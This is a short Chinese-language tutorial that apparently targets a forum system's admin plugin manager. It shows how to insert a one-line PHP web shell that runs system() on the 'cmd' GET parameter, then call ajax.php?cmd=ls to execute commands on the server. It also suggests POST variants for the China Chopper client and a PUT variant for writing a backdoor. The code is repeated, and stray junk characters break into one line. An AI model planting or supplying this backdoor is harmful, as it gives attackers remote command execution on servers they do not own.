在后台,进插件管理.添加插件.
Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
激活mod
访问
www.site.com/forumlocation/ajax.php?cmd=command - 低调求发展& M1 O2 n- E$ Q2 X
比如
www.site.com/forumlocation/ajax.php?cmd=ls 就执行了ls的命令
就是一个简单的get型一句话,也可以改成post型的,放入菜刀,或者写个put型的,生成一个小马